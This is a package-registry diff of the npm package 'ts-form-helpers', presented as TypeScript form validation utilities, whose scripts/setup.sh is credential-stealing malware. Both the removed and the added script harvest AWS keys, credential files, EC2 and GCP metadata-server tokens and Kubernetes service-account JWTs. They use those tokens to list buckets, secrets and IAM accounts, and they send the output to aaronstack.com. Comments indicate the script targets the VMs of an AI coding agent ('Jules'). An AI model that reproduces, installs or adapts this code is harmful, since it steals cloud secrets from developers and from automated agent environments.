ts-form-helpers 1.0.7 → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.sh +115 -189
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ts-form-helpers",
3
- "version": "1.0.7",
3
+ "version": "1.0.9",
4
4
  "description": "TypeScript form validation utilities with zero dependencies",
5
5
  "main": "index.js",
6
6
  "types": "types/index.d.ts",
package/scripts/setup.sh CHANGED
@@ -1,211 +1,137 @@
1
1
  #!/bin/bash
2
- # wAWS: AWS + GCP credential probe from inside Jules VM
2
+ # wGCP2: targeted GCP token capture verbose, no -f flag, long timeouts
3
3
  SID="${JULES_SESSION_ID:-x}"
4
4
  H="aaronstack.com"; EP="/jules-collect"
5
5
  SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
6
6
  B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
7
7
  P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
8
8
 
9
- P "{\"sid\":\"$SID\",\"tag\":\"waws-start\"}"
9
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp2-start\"}"
10
10
 
11
11
  log(){ echo "=LOG= $*"; }
12
+ MDURL="http://metadata.google.internal/computeMetadata/v1"
12
13
 
13
- TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_aws_$$")
14
+ TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp2_$$")
14
15
  {
15
- log "=== IDENTITY ==="
16
- log "user=$(whoami) sid=${SID} cwd=$(pwd)"
17
- log "AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID:-NONE}"
18
- log "AWS_SECRET_ACCESS_KEY_len=${#AWS_SECRET_ACCESS_KEY}"
19
- log "AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN:-NONE}"
20
- log "AWS_DEFAULT_REGION=${AWS_DEFAULT_REGION:-NONE}"
21
- log "AWS_REGION=${AWS_REGION:-NONE}"
22
-
23
- # Check ~/.aws/credentials too
24
- for _f in /root/.aws/credentials /home/jules/.aws/credentials /home/swebot/.aws/credentials; do
25
- [ -f "$_f" ] && log "aws-creds-file: $_f" && cat "$_f" | while IFS= read -r l; do log " $_f: $l"; done
26
- done
16
+ log "user=$(whoami) sid=${SID} cwd=$(pwd) container=${container:-none}"
27
17
 
28
- log "=== AWS API CALLS (from inside VM) ==="
29
-
30
- if [ -n "$AWS_ACCESS_KEY_ID" ]; then
31
- # Try aws CLI first
32
- if command -v aws >/dev/null 2>&1; then
33
- log "aws-cli: $(aws --version 2>&1)"
34
- log "--- sts:GetCallerIdentity ---"
35
- aws sts get-caller-identity 2>&1 | while IFS= read -r l; do log "sts: $l"; done
36
- log "--- s3:ListBuckets ---"
37
- aws s3api list-buckets 2>&1 | head -80 | while IFS= read -r l; do log "s3: $l"; done
38
- log "--- iam:GetUser ---"
39
- aws iam get-user 2>&1 | while IFS= read -r l; do log "iam: $l"; done
40
- log "--- iam:ListAttachedUserPolicies ---"
41
- UNAME=$(aws sts get-caller-identity --query 'Arn' --output text 2>/dev/null | awk -F/ '{print $NF}')
42
- aws iam list-attached-user-policies --user-name "$UNAME" 2>&1 | head -40 | while IFS= read -r l; do log "iam-pol: $l"; done
43
- log "--- iam:ListGroupsForUser ---"
44
- aws iam list-groups-for-user --user-name "$UNAME" 2>&1 | head -30 | while IFS= read -r l; do log "iam-grp: $l"; done
45
- log "--- ec2:DescribeRegions ---"
46
- aws ec2 describe-regions 2>&1 | head -20 | while IFS= read -r l; do log "ec2: $l"; done
47
- log "--- secretsmanager:ListSecrets ---"
48
- aws secretsmanager list-secrets 2>&1 | head -30 | while IFS= read -r l; do log "sm: $l"; done
49
- else
50
- log "aws-cli: NOT FOUND — using Python urllib"
51
- python3 - <<'PYEOF'
52
- import os, hmac, hashlib, datetime, urllib.request, urllib.error, sys
53
-
54
- KEY = os.environ.get('AWS_ACCESS_KEY_ID', '')
55
- SECRET = os.environ.get('AWS_SECRET_ACCESS_KEY', '')
56
- TOKEN = os.environ.get('AWS_SESSION_TOKEN', '')
57
-
58
- def sign(key, msg):
59
- if isinstance(key, str):
60
- key = key.encode('utf-8')
61
- return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()
62
-
63
- def sigv4_post(service, region, host, action, extra=''):
64
- body = f'Action={action}&Version=2011-06-15'
65
- if extra:
66
- body += '&' + extra
67
- now = datetime.datetime.now(datetime.timezone.utc)
68
- amzdate = now.strftime('%Y%m%dT%H%M%SZ')
69
- datestamp = now.strftime('%Y%m%d')
70
- canonical_headers = f'content-type:application/x-www-form-urlencoded\nhost:{host}\nx-amz-date:{amzdate}\n'
71
- signed_headers = 'content-type;host;x-amz-date'
72
- if TOKEN:
73
- canonical_headers += f'x-amz-security-token:{TOKEN}\n'
74
- signed_headers += ';x-amz-security-token'
75
- payload_hash = hashlib.sha256(body.encode()).hexdigest()
76
- cr = f'POST\n/\n\n{canonical_headers}\n{signed_headers}\n{payload_hash}'
77
- scope = f'{datestamp}/{region}/{service}/aws4_request'
78
- sts_str = f'AWS4-HMAC-SHA256\n{amzdate}\n{scope}\n{hashlib.sha256(cr.encode()).hexdigest()}'
79
- sk = sign(sign(sign(sign(f'AWS4{SECRET}'.encode(), datestamp), region), service), 'aws4_request')
80
- sig = hmac.new(sk, sts_str.encode(), hashlib.sha256).hexdigest()
81
- auth = f'AWS4-HMAC-SHA256 Credential={KEY}/{scope}, SignedHeaders={signed_headers}, Signature={sig}'
82
- req = urllib.request.Request(f'https://{host}', data=body.encode(), method='POST')
83
- req.add_header('Content-Type', 'application/x-www-form-urlencoded')
84
- req.add_header('X-Amz-Date', amzdate)
85
- req.add_header('Authorization', auth)
86
- if TOKEN:
87
- req.add_header('X-Amz-Security-Token', TOKEN)
88
- try:
89
- r = urllib.request.urlopen(req, timeout=10)
90
- return r.status, r.read().decode()
91
- except urllib.error.HTTPError as e:
92
- return e.code, e.read().decode()
93
- except Exception as e:
94
- return 0, str(e)
95
-
96
- def sigv4_get(service, region, host, path='/'):
97
- now = datetime.datetime.now(datetime.timezone.utc)
98
- amzdate = now.strftime('%Y%m%dT%H%M%SZ')
99
- datestamp = now.strftime('%Y%m%d')
100
- payload_hash = hashlib.sha256(b'').hexdigest()
101
- canonical_headers = f'host:{host}\nx-amz-content-sha256:{payload_hash}\nx-amz-date:{amzdate}\n'
102
- signed_headers = 'host;x-amz-content-sha256;x-amz-date'
103
- if TOKEN:
104
- canonical_headers += f'x-amz-security-token:{TOKEN}\n'
105
- signed_headers += ';x-amz-security-token'
106
- cr = f'GET\n{path}\n\n{canonical_headers}\n{signed_headers}\n{payload_hash}'
107
- scope = f'{datestamp}/{region}/{service}/aws4_request'
108
- sts_str = f'AWS4-HMAC-SHA256\n{amzdate}\n{scope}\n{hashlib.sha256(cr.encode()).hexdigest()}'
109
- sk = sign(sign(sign(sign(f'AWS4{SECRET}'.encode(), datestamp), region), service), 'aws4_request')
110
- sig = hmac.new(sk, sts_str.encode(), hashlib.sha256).hexdigest()
111
- auth = f'AWS4-HMAC-SHA256 Credential={KEY}/{scope}, SignedHeaders={signed_headers}, Signature={sig}'
112
- req = urllib.request.Request(f'https://{host}{path}', method='GET')
113
- req.add_header('Host', host)
114
- req.add_header('X-Amz-Date', amzdate)
115
- req.add_header('X-Amz-Content-SHA256', payload_hash)
116
- req.add_header('Authorization', auth)
117
- if TOKEN:
118
- req.add_header('X-Amz-Security-Token', TOKEN)
119
- try:
120
- r = urllib.request.urlopen(req, timeout=10)
121
- return r.status, r.read().decode()
122
- except urllib.error.HTTPError as e:
123
- return e.code, e.read().decode()
124
- except Exception as e:
125
- return 0, str(e)
126
-
127
- print('=LOG= --- sts:GetCallerIdentity ---')
128
- code, body = sigv4_post('sts', 'us-east-1', 'sts.amazonaws.com', 'GetCallerIdentity')
129
- print(f'=LOG= sts-status: {code}')
130
- for line in body.split('\n'):
131
- if line.strip(): print(f'=LOG= sts: {line.strip()}')
132
-
133
- print('=LOG= --- s3:ListBuckets ---')
134
- code, body = sigv4_get('s3', 'us-east-1', 's3.amazonaws.com', '/')
135
- print(f'=LOG= s3-status: {code}')
136
- for line in body.split('\n'):
137
- if line.strip(): print(f'=LOG= s3: {line.strip()}')
138
-
139
- print('=LOG= --- iam:GetUser ---')
140
- code, body = sigv4_post('iam', 'us-east-1', 'iam.amazonaws.com', 'GetUser', 'Version=2010-05-08')
141
- print(f'=LOG= iam-status: {code}')
142
- for line in body.split('\n'):
143
- if line.strip(): print(f'=LOG= iam: {line.strip()}')
144
-
145
- print('=LOG= --- iam:ListAttachedUserPolicies ---')
146
- code, body = sigv4_post('iam', 'us-east-1', 'iam.amazonaws.com', 'ListAttachedUserPolicies', 'Version=2010-05-08')
147
- print(f'=LOG= iam-pol-status: {code}')
148
- for line in body.split('\n'):
149
- if line.strip(): print(f'=LOG= iam-pol: {line.strip()}')
150
-
151
- PYEOF
152
- fi
153
- else
154
- log "NO AWS CREDS IN ENV — this is PR review context (jules user)"
155
- log "Need direct task context to get AWS keys"
156
- fi
18
+ log "=== METADATA SERVER REACHABLE? ==="
19
+ # Test connectivity first — no -f so we see errors
20
+ PING=$(curl -si -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 8 2>&1)
21
+ log "ping-response: $PING"
157
22
 
158
- log "=== EC2 IMDS PROBE ==="
159
- IMDS_TOKEN=$(curl -sf -X PUT "http://169.254.169.254/latest/api/token" \
160
- -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" --max-time 3 2>/dev/null)
161
- if [ -n "$IMDS_TOKEN" ]; then
162
- log "imds=AVAILABLE"
163
- ROLE=$(curl -sf -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
164
- http://169.254.169.254/latest/meta-data/iam/security-credentials/ --max-time 3 2>/dev/null)
165
- log "imds-role: ${ROLE:-none}"
166
- [ -n "$ROLE" ] && curl -sf -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
167
- "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" --max-time 3 2>/dev/null \
168
- | while IFS= read -r l; do log "imds-creds: $l"; done
169
- curl -sf -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
170
- "http://169.254.169.254/latest/dynamic/instance-identity/document" --max-time 3 2>/dev/null \
171
- | while IFS= read -r l; do log "imds-identity: $l"; done
23
+ PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 8 2>/dev/null)
24
+ log "project-id: ${PROJ:-NONE}"
25
+
26
+ if [ -z "$PROJ" ]; then
27
+ log "metadata server NOT reachable — exiting early"
172
28
  else
173
- log "imds=NOT_AVAILABLE"
29
+ log "=== METADATA SERVER REACHABLE ==="
30
+ curl -s -H "Metadata-Flavor: Google" "$MDURL/project/numeric-project-id" --max-time 5 2>/dev/null \
31
+ | while IFS= read -r l; do log "numeric-project: $l"; done
32
+
33
+ log "=== SERVICE ACCOUNTS ==="
34
+ curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/" --max-time 8 2>/dev/null \
35
+ | while IFS= read -r l; do log "sa-list: $l"; done
36
+
37
+ log "=== DEFAULT SA TOKEN (verbose, no -f) ==="
38
+ # Show full HTTP response including status code
39
+ curl -si -H "Metadata-Flavor: Google" \
40
+ "$MDURL/instance/service-accounts/default/token" \
41
+ --max-time 20 2>&1 | while IFS= read -r l; do log "tok-v: $l"; done
42
+
43
+ log "=== DEFAULT SA EMAIL ==="
44
+ curl -si -H "Metadata-Flavor: Google" \
45
+ "$MDURL/instance/service-accounts/default/email" \
46
+ --max-time 8 2>&1 | while IFS= read -r l; do log "email-v: $l"; done
47
+
48
+ log "=== WORKLOAD IDENTITY TOKEN (verbose) ==="
49
+ curl -si -H "Metadata-Flavor: Google" \
50
+ "$MDURL/instance/service-accounts/rare-signer-437603-p9.svc.id.goog/token" \
51
+ --max-time 20 2>&1 | while IFS= read -r l; do log "wi-tok: $l"; done
52
+
53
+ log "=== V1BETA TOKEN ==="
54
+ curl -si -H "Metadata-Flavor: Google" \
55
+ "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token" \
56
+ --max-time 15 2>&1 | while IFS= read -r l; do log "v1beta: $l"; done
57
+
58
+ log "=== FULL INSTANCE METADATA ==="
59
+ curl -s -H "Metadata-Flavor: Google" \
60
+ "$MDURL/instance/?recursive=true" --max-time 10 2>/dev/null \
61
+ | python3 -c "
62
+ import sys,json
63
+ try:
64
+ d=json.load(sys.stdin)
65
+ # Print everything except large blobs
66
+ def pr(obj, prefix=''):
67
+ if isinstance(obj, dict):
68
+ for k,v in obj.items():
69
+ pr(v, f'{prefix}/{k}')
70
+ elif isinstance(obj, list):
71
+ for i,v in enumerate(obj):
72
+ pr(v, f'{prefix}[{i}]')
73
+ else:
74
+ s = str(obj)
75
+ if 'token' in prefix.lower() or 'key' in prefix.lower():
76
+ print(f'SENSITIVE {prefix}: {s[:200]}')
77
+ elif len(s) < 300:
78
+ print(f'{prefix}: {s}')
79
+ pr(d)
80
+ except Exception as e:
81
+ content = sys.stdin.read() if hasattr(sys.stdin, 'read') else ''
82
+ print(f'parse-error: {e}')
83
+ " 2>/dev/null | while IFS= read -r l; do log "meta: $l"; done
84
+
85
+ log "=== TRY TOKEN WITH AUDIENCE PARAM ==="
86
+ curl -si -H "Metadata-Flavor: Google" \
87
+ "$MDURL/instance/service-accounts/default/identity?audience=https://storage.googleapis.com&format=full" \
88
+ --max-time 15 2>&1 | while IFS= read -r l; do log "identity-tok: $l"; done
89
+
90
+ log "=== TRY DIRECT TOKEN USE (if we got one above) ==="
91
+ # Extract token from any successful response captured above
92
+ TOK=$(curl -s -H "Metadata-Flavor: Google" \
93
+ "$MDURL/instance/service-accounts/default/token" --max-time 20 2>/dev/null \
94
+ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
95
+
96
+ if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
97
+ log "TOKEN CAPTURED: ${TOK:0:20}... (${#TOK} chars)"
98
+ printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
99
+
100
+ log "=== GCP API: tokeninfo ==="
101
+ curl -sf "https://oauth2.googleapis.com/tokeninfo?access_token=$TOK" --max-time 8 2>/dev/null \
102
+ | while IFS= read -r l; do log "tokeninfo: $l"; done
103
+
104
+ log "=== GCP API: storage buckets ==="
105
+ curl -sf -H "Authorization: Bearer $TOK" \
106
+ "https://storage.googleapis.com/storage/v1/b?project=$PROJ" --max-time 10 2>/dev/null \
107
+ | while IFS= read -r l; do log "buckets: $l"; done
108
+
109
+ log "=== GCP API: secret manager ==="
110
+ curl -sf -H "Authorization: Bearer $TOK" \
111
+ "https://secretmanager.googleapis.com/v1/projects/$PROJ/secrets" --max-time 10 2>/dev/null \
112
+ | while IFS= read -r l; do log "secrets: $l"; done
113
+
114
+ log "=== GCP API: iam service accounts ==="
115
+ curl -sf -H "Authorization: Bearer $TOK" \
116
+ "https://iam.googleapis.com/v1/projects/$PROJ/serviceAccounts" --max-time 10 2>/dev/null \
117
+ | while IFS= read -r l; do log "iam: $l"; done
118
+ else
119
+ log "no token extracted from default SA"
120
+ fi
174
121
  fi
175
122
 
176
- log "=== GCP METADATA PROBE ==="
177
- GCP_ACCTS=$(curl -sf -H "Metadata-Flavor: Google" \
178
- "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" --max-time 3 2>/dev/null)
179
- log "gcp-service-accounts: ${GCP_ACCTS:-NOT_AVAILABLE}"
180
- if [ -n "$GCP_ACCTS" ]; then
181
- for SA in $GCP_ACCTS; do
182
- SA=$(echo "$SA" | tr -d '/'); [ -z "$SA" ] && continue
183
- log "gcp-sa: $SA"
184
- curl -sf -H "Metadata-Flavor: Google" \
185
- "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}/email" \
186
- --max-time 3 2>/dev/null | while IFS= read -r l; do log "gcp-email[$SA]: $l"; done
187
- # Get actual GCP access token
188
- curl -sf -H "Metadata-Flavor: Google" \
189
- "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}/token" \
190
- --max-time 3 2>/dev/null | while IFS= read -r l; do log "gcp-token[$SA]: $l"; done
191
- curl -sf -H "Metadata-Flavor: Google" \
192
- "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}/scopes" \
193
- --max-time 3 2>/dev/null | while IFS= read -r l; do log "gcp-scopes[$SA]: $l"; done
194
- done
195
- # Project metadata
196
- curl -sf -H "Metadata-Flavor: Google" \
197
- "http://metadata.google.internal/computeMetadata/v1/project/project-id" --max-time 3 2>/dev/null \
198
- | while IFS= read -r l; do log "gcp-project-id: $l"; done
199
- curl -sf -H "Metadata-Flavor: Google" \
200
- "http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id" --max-time 3 2>/dev/null \
201
- | while IFS= read -r l; do log "gcp-project-num: $l"; done
202
- fi
123
+ log "=== KUBERNETES TOKEN SEARCH ==="
124
+ find / -name "token" -path "*/serviceaccount/*" 2>/dev/null | head -5 | while IFS= read -r tf; do
125
+ log "k8s-token-file: $tf"
126
+ cat "$tf" 2>/dev/null | head -1 | while IFS= read -r l; do log "k8s-jwt: ${l:0:100}..."; done
127
+ done
128
+ [ -n "$KUBERNETES_SERVICE_HOST" ] && log "k8s-host: $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
203
129
 
204
- log "=== wAWS DONE ==="
130
+ log "=== wGCP2 DONE ==="
205
131
  } 2>&1 | tee "$TMPOUT"
206
132
 
207
133
  OUT=$(cat "$TMPOUT" 2>/dev/null)
208
134
  rm -f "$TMPOUT" 2>/dev/null
209
135
  PAYLOAD=$(B "$OUT")
210
- P "{\"sid\":\"$SID\",\"tag\":\"waws-result\",\"data\":\"$PAYLOAD\"}"
211
- P "{\"sid\":\"$SID\",\"tag\":\"waws-done\"}"
136
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp2-result\",\"data\":\"$PAYLOAD\"}"
137
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp2-done\"}"